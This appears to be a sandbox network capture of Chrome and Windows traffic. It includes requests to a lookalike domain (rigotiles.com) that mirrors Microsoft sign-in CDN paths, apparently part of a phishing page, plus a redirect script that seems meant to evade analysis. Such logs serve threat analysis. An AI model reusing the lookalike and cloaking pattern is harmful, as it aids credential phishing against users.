2024-10-31 20:55:16 UTC	16383	IN	Data Raw: 5b 6f 5d 3b 6e 26 26 43 2e 61 2e 4e 62 28 72 2c 6e 29 2c 43 2e 61 61 2e 62 64 28 74 5b 69 5d 2e 4b 64 2c 72 29 2c 6f 2e 6e 6f 64 65 56 61 6c 75 65 3d 22 22 2c 6f 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 6f 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 6f 29 7d 7d 2c 55 63 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 28 65 3d 65 2e 6d 61 74 63 68 28 2f 5e 5c 5b 6b 6f 5f 6d 65 6d 6f 5c 3a 28 2e 2a 3f 29 5c 5d 24 2f 29 29 3f 65 5b 31 5d 3a 6e 75 6c 6c 7d 7d 7d 28 29 2c 43 2e 62 28 22 6d 65 6d 6f 69 7a 61 74 69 6f 6e 22 2c 43 2e 61 61 29 2c 43 2e 62 28 22 6d 65 6d 6f 69 7a 61 74 69 6f 6e 2e 6d 65 6d 6f 69 7a 65 22 2c 43 2e 61 61 2e 58 62 29 2c 43 2e 62 28 22 6d 65 6d 6f 69 7a 61 74 69 6f 6e 2e 75 6e 6d 65 6d 6f 69 7a 65 22 Data Ascii: [o];n&&C.a.Nb(r,n),C.aa.bd(t[i].Kd,r),o.nodeValue="",o.parentNode&&o.parentNode.removeChild(o)}},Uc:function(e){return(e=e.match(/^\[ko_memo\:(.*?)\]$/))?e[1]:null}}}(),C.b("memoization",C.aa),C.b("memoization.memoize",C.aa.Xb),C.b("memoization.unmemoize"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.16	51032	172.202.163.200	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:55:16 UTC	124	OUT	GET /sls/ping HTTP/1.1 Connection: Keep-Alive User-Agent: DNS resiliency checker/1.0 Host: slscr.update.microsoft.com
2024-10-31 20:55:17 UTC	318	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Expires: -1 MS-CV: xul0K6EQF02HuhH3.0 MS-RequestId: c22ec93f-0cc2-4168-b21c-b3a2022e4c57 MS-CorrelationId: 7707d1aa-6674-4c28-8d93-bce54e8709af X-Content-Type-Options: nosniff Date: Thu, 31 Oct 2024 20:55:17 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.16	51030	152.199.21.175	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:55:17 UTC	429	OUT	GET /ests/2.1/content/cdnbundles/watsonsupportwithjquery.3.5.min_dc940oomzau4rsu8qesnvg2.js HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-31 20:55:17 UTC	751	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 19149234 Cache-Control: public, max-age=31536000 Content-MD5: HWW92uTq7vx3y5z+zFZbXQ== Content-Type: application/x-javascript Date: Thu, 31 Oct 2024 20:55:17 GMT Etag: 0x8D8DA1E5A71125A Last-Modified: Fri, 26 Feb 2021 06:18:37 GMT Server: ECAcc (lhc/789B) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 206d711a-c01e-002f-46ad-7d420a000000 x-ms-version: 2009-09-19 Content-Length: 119648 Connection: close
2024-10-31 20:55:17 UTC	15651	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 35 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 Data Ascii: /! jQuery v3.5.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery
2024-10-31 20:55:17 UTC	16383	IN	Data Raw: 72 26 26 28 74 3d 3d 3d 69 7c 7c 74 2e 73 6c 69 63 65 28 30 2c 69 2e 6c 65 6e 67 74 68 2b 31 29 3d 3d 3d 69 2b 22 2d 22 29 29 7d 7d 2c 43 48 49 4c 44 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 65 2c 74 2c 67 2c 76 29 7b 76 61 72 20 79 3d 22 6e 74 68 22 21 3d 3d 68 2e 73 6c 69 63 65 28 30 2c 33 29 2c 6d 3d 22 6c 61 73 74 22 21 3d 3d 68 2e 73 6c 69 63 65 28 2d 34 29 2c 78 3d 22 6f 66 2d 74 79 70 65 22 3d 3d 3d 65 3b 72 65 74 75 72 6e 20 31 3d 3d 3d 67 26 26 30 3d 3d 3d 76 3f 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 21 21 65 2e 70 61 72 65 6e 74 4e 6f 64 65 7d 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 2c 69 2c 6f 2c 61 2c 73 2c 75 2c 6c 3d 79 21 3d 3d 6d 3f 22 6e 65 78 74 53 69 62 6c 69 6e 67 22 3a 22 70 72 65 76 69 6f 75 73 53 Data Ascii: r&&(t===i\|\|t.slice(0,i.length+1)===i+"-"))}},CHILD:function(h,e,t,g,v){var y="nth"!==h.slice(0,3),m="last"!==h.slice(-4),x="of-type"===e;return 1===g&&0===v?function(e){return!!e.parentNode}:function(e,t,n){var r,i,o,a,s,u,l=y!==m?"nextSibling":"previousS
2024-10-31 20:55:17 UTC	16383	IN	Data Raw: 53 2e 72 65 61 64 79 57 61 69 74 3a 53 2e 69 73 52 65 61 64 79 29 7c 7c 28 53 2e 69 73 52 65 61 64 79 3d 21 30 29 21 3d 3d 65 26 26 30 3c 2d 2d 53 2e 72 65 61 64 79 57 61 69 74 7c 7c 46 2e 72 65 73 6f 6c 76 65 57 69 74 68 28 45 2c 5b 53 5d 29 7d 7d 29 2c 53 2e 72 65 61 64 79 2e 74 68 65 6e 3d 46 2e 74 68 65 6e 2c 22 63 6f 6d 70 6c 65 74 65 22 3d 3d 3d 45 2e 72 65 61 64 79 53 74 61 74 65 7c 7c 22 6c 6f 61 64 69 6e 67 22 21 3d 3d 45 2e 72 65 61 64 79 53 74 61 74 65 26 26 21 45 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 64 6f 53 63 72 6f 6c 6c 3f 43 2e 73 65 74 54 69 6d 65 6f 75 74 28 53 2e 72 65 61 64 79 29 3a 28 45 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 22 2c 42 29 2c 43 2e 61 64 64 Data Ascii: S.readyWait:S.isReady)\|\|(S.isReady=!0)!==e&&0<--S.readyWait\|\|F.resolveWith(E,[S])}}),S.ready.then=F.then,"complete"===E.readyState\|\|"loading"!==E.readyState&&!E.documentElement.doScroll?C.setTimeout(S.ready):(E.addEventListener("DOMContentLoaded",B),C.add
2024-10-31 20:55:17 UTC	16383	IN	Data Raw: 75 3d 61 5b 63 5d 2c 68 65 2e 74 65 73 74 28 75 2e 74 79 70 65 7c 7c 22 22 29 26 26 21 59 2e 61 63 63 65 73 73 28 75 2c 22 67 6c 6f 62 61 6c 45 76 61 6c 22 29 26 26 53 2e 63 6f 6e 74 61 69 6e 73 28 6c 2c 75 29 26 26 28 75 2e 73 72 63 26 26 22 6d 6f 64 75 6c 65 22 21 3d 3d 28 75 2e 74 79 70 65 7c 7c 22 22 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3f 53 2e 5f 65 76 61 6c 55 72 6c 26 26 21 75 2e 6e 6f 4d 6f 64 75 6c 65 26 26 53 2e 5f 65 76 61 6c 55 72 6c 28 75 2e 73 72 63 2c 7b 6e 6f 6e 63 65 3a 75 2e 6e 6f 6e 63 65 7c 7c 75 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 6e 6f 6e 63 65 22 29 7d 2c 6c 29 3a 62 28 75 2e 74 65 78 74 43 6f 6e 74 65 6e 74 2e 72 65 70 6c 61 63 65 28 6a 65 2c 22 22 29 2c 75 2c 6c 29 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 Data Ascii: u=a[c],he.test(u.type\|\|"")&&!Y.access(u,"globalEval")&&S.contains(l,u)&&(u.src&&"module"!==(u.type\|\|"").toLowerCase()?S._evalUrl&&!u.noModule&&S._evalUrl(u.src,{nonce:u.nonce\|\|u.getAttribute("nonce")},l):b(u.textContent.replace(je,""),u,l))}return n}funct
2024-10-31 20:55:17 UTC	16383	IN	Data Raw: 74 61 72 74 28 29 7d 2c 53 2e 66 78 2e 69 6e 74 65 72 76 61 6c 3d 31 33 2c 53 2e 66 78 2e 73 74 61 72 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 74 7c 7c 28 6e 74 3d 21 30 2c 73 74 28 29 29 7d 2c 53 2e 66 78 2e 73 74 6f 70 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 74 3d 6e 75 6c 6c 7d 2c 53 2e 66 78 2e 73 70 65 65 64 73 3d 7b 73 6c 6f 77 3a 36 30 30 2c 66 61 73 74 3a 32 30 30 2c 5f 64 65 66 61 75 6c 74 3a 34 30 30 7d 2c 53 2e 66 6e 2e 64 65 6c 61 79 3d 66 75 6e 63 74 69 6f 6e 28 72 2c 65 29 7b 72 65 74 75 72 6e 20 72 3d 53 2e 66 78 26 26 53 2e 66 78 2e 73 70 65 65 64 73 5b 72 5d 7c 7c 72 2c 65 3d 65 7c 7c 22 66 78 22 2c 74 68 69 73 2e 71 75 65 75 65 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 43 2e 73 65 74 54 69 6d 65 6f 75 74 28 65 Data Ascii: tart()},S.fx.interval=13,S.fx.start=function(){nt\|\|(nt=!0,st())},S.fx.stop=function(){nt=null},S.fx.speeds={slow:600,fast:200,_default:400},S.fn.delay=function(r,e){return r=S.fx&&S.fx.speeds[r]\|\|r,e=e\|\|"fx",this.queue(e,function(e,t){var n=C.setTimeout(e
2024-10-31 20:55:17 UTC	16383	IN	Data Raw: 77 72 61 70 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 6e 3d 6d 28 74 29 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 53 28 74 68 69 73 29 2e 77 72 61 70 41 6c 6c 28 6e 3f 74 2e 63 61 6c 6c 28 74 68 69 73 2c 65 29 3a 74 29 7d 29 7d 2c 75 6e 77 72 61 70 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 61 72 65 6e 74 28 65 29 2e 6e 6f 74 28 22 62 6f 64 79 22 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 53 28 74 68 69 73 29 2e 72 65 70 6c 61 63 65 57 69 74 68 28 74 68 69 73 2e 63 68 69 6c 64 4e 6f 64 65 73 29 7d 29 2c 74 68 69 73 7d 7d 29 2c 53 2e 65 78 70 72 2e 70 73 65 75 64 6f 73 2e 68 69 64 64 65 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 21 53 2e Data Ascii: wrap:function(t){var n=m(t);return this.each(function(e){S(this).wrapAll(n?t.call(this,e):t)})},unwrap:function(e){return this.parent(e).not("body").each(function(){S(this).replaceWith(this.childNodes)}),this}}),S.expr.pseudos.hidden=function(e){return!S.
2024-10-31 20:55:17 UTC	16383	IN	Data Raw: 74 6f 74 79 70 65 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 61 72 67 75 6d 65 6e 74 73 2c 30 29 3b 72 65 74 75 72 6e 22 6c 6f 61 64 22 3d 3d 3d 74 26 26 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 65 5b 30 5d 3f 52 2e 61 70 70 6c 79 28 74 68 69 73 2c 65 29 3a 28 75 28 22 6a 51 75 65 72 79 2e 66 6e 2e 22 2b 74 2b 22 28 29 20 69 73 20 64 65 70 72 65 63 61 74 65 64 22 29 2c 65 2e 73 70 6c 69 63 65 28 30 2c 30 2c 74 29 2c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3f 74 68 69 73 2e 6f 6e 2e 61 70 70 6c 79 28 74 68 69 73 2c 65 29 3a 28 74 68 69 73 2e 74 72 69 67 67 65 72 48 61 6e 64 6c 65 72 2e 61 70 70 6c 79 28 74 68 69 73 2c 65 29 2c 74 68 69 73 29 29 7d 7d 29 2c 73 2e 65 61 63 68 28 22 62 6c 75 72 20 66 6f 63 75 73 20 66 6f 63 75 73 69 6e 20 66 6f 63 Data Ascii: totype.slice.call(arguments,0);return"load"===t&&"string"==typeof e[0]?R.apply(this,e):(u("jQuery.fn."+t+"() is deprecated"),e.splice(0,0,t),arguments.length?this.on.apply(this,e):(this.triggerHandler.apply(this,e),this))}}),s.each("blur focus focusin foc
2024-10-31 20:55:17 UTC	5699	IN	Data Raw: 74 75 72 6e 20 2d 63 2f 32 2a 28 28 61 2d 3d 32 29 2a 61 2a 61 2a 61 2d 32 29 2b 62 7d 2c 65 61 73 65 49 6e 51 75 69 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 62 2c 63 2c 64 29 7b 72 65 74 75 72 6e 20 63 2a 28 61 2f 3d 64 29 2a 61 2a 61 2a 61 2a 61 2b 62 7d 2c 65 61 73 65 4f 75 74 51 75 69 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 62 2c 63 2c 64 29 7b 72 65 74 75 72 6e 20 63 2a 28 28 61 3d 61 2f 64 2d 31 29 2a 61 2a 61 2a 61 2a 61 2b 31 29 2b 62 7d 2c 65 61 73 65 49 6e 4f 75 74 51 75 69 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 62 2c 63 2c 64 29 7b 69 66 28 28 61 2f 3d 64 2f 32 29 3c 31 29 72 65 74 75 72 6e 20 63 2f 32 2a 61 2a 61 2a 61 2a 61 2a 61 2b 62 3b 72 65 74 75 72 6e 20 63 2f 32 2a 28 28 61 2d 3d 32 29 2a 61 2a 61 2a 61 2a 61 2b Data Ascii: turn -c/2((a-=2)aaa-2)+b},easeInQuint:function(e,a,b,c,d){return c(a/=d)aaaa+b},easeOutQuint:function(e,a,b,c,d){return c((a=a/d-1)aaaa+1)+b},easeInOutQuint:function(e,a,b,c,d){if((a/=d/2)<1)return c/2aaaaa+b;return c/2((a-=2)aaaa+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.16	51033	188.114.96.3	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:55:17 UTC	628	OUT	GET /ests/2.1/content/cdnbundles/frameworksupport.min_oadrnc13magb009k4d20lg2.js HTTP/1.1 Host: vn3hg.rigotiles.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://mail.rigotiles.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://mail.rigotiles.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-31 20:55:17 UTC	830	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 20:55:17 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Access-Control-Allow-Credentials: true Cache-Control: no-cache, no-store CF-Cache-Status: BYPASS Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5WUoCeWWJ4dtInbG7EEPnHhHs4EcEcgCW9DwZBN844xGVoJke1ivXY2NxHv5rt4%2FR1t0EiGk%2FcG8QOhvOxeV0MTtN%2FAEooc%2FC7%2Bz83TzkD5kolPU7o%2B2agNW4hZ6VB18vh1BZr2X"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db68b8ce8592ff4-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1323&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1206&delivery_rate=2192278&cwnd=242&unsent_bytes=0&cid=0a74dfb8b660b9a0&ts=300&x=0"
2024-10-31 20:55:17 UTC	170	IN	Data Raw: 61 34 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 65 66 65 72 72 65 72 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 2d 72 65 66 65 72 72 65 72 27 3e 3c 73 63 72 69 70 74 3e 74 6f 70 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 6f 75 74 75 62 65 2e 63 6f 6d 2f 77 61 74 63 68 3f 76 3d 64 51 77 34 77 39 57 67 58 63 51 27 3b 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: a4<html><head><meta name='referrer' content='no-referrer'><script>top.location.href='https://www.youtube.com/watch?v=dQw4w9WgXcQ';</script></head><body></body></html>
2024-10-31 20:55:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.16	51034	152.199.21.175	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:55:19 UTC	629	OUT	GET /ests/2.1/content/cdnbundles/frameworksupport.min_oadrnc13magb009k4d20lg2.js HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://mail.rigotiles.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://mail.rigotiles.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-31 20:55:19 UTC	750	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 19063350 Cache-Control: public, max-age=31536000 Content-MD5: A8dgUeRfi6/VknMbox6Cuw== Content-Type: application/x-javascript Date: Thu, 31 Oct 2024 20:55:19 GMT Etag: 0x8D876CB1F3EA0D9 Last-Modified: Thu, 22 Oct 2020 20:43:24 GMT Server: ECAcc (lhc/7916) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 6e90de5d-e01e-00c1-2e75-7ef560000000 x-ms-version: 2009-09-19 Content-Length: 11970 Connection: close
2024-10-31 20:55:19 UTC	11970	IN	Data Raw: 2f 2a 21 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 0a 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 62 65 6c 6f 77 20 28 54 68 69 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 70 79 72 69 67 68 74 20 6e 6f 74 69 63 65 20 61 6e 64 20 74 68 65 20 6c 69 Data Ascii: /*! ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the li

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.16	51035	52.149.20.212	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:55:19 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=8X286xg78epWUlZ&MD=DApwh8vU HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-31 20:55:19 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 628c4b47-2068-444f-9867-89e9d15e478f MS-RequestId: 51480906-58c0-45fd-8885-9d6cfac0d9ab MS-CV: j1K2NC+wDUezJcFa.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 31 Oct 2024 20:55:18 GMT Connection: close Content-Length: 24490
2024-10-31 20:55:19 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-10-31 20:55:19 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.16	51037	188.114.97.3	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:55:20 UTC	618	OUT	GET /ests/2.1/content/cdnbundles/watson.min_q5ptmu8aniymd4ftuqdkda2.js HTTP/1.1 Host: vn3hg.rigotiles.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://mail.rigotiles.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://mail.rigotiles.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-31 20:55:20 UTC	826	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 20:55:20 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Access-Control-Allow-Credentials: true Cache-Control: no-cache, no-store CF-Cache-Status: BYPASS Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NAnhJZLfRCWnZua4uHVGGA8QtJSuPKr%2Bn1lmmNIIUrQukKHovOsiDl5WlMfB9jaelMPL3xTkXfaxdYRvb1KCaHAKWcOOTl87mLs2eHuK%2BxpIeLchQS7YdM%2F78%2BluLDBIQzqOhH2r"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db68ba069d98d27-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1186&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=1196&delivery_rate=2371826&cwnd=250&unsent_bytes=0&cid=e82489519e806f44&ts=337&x=0"
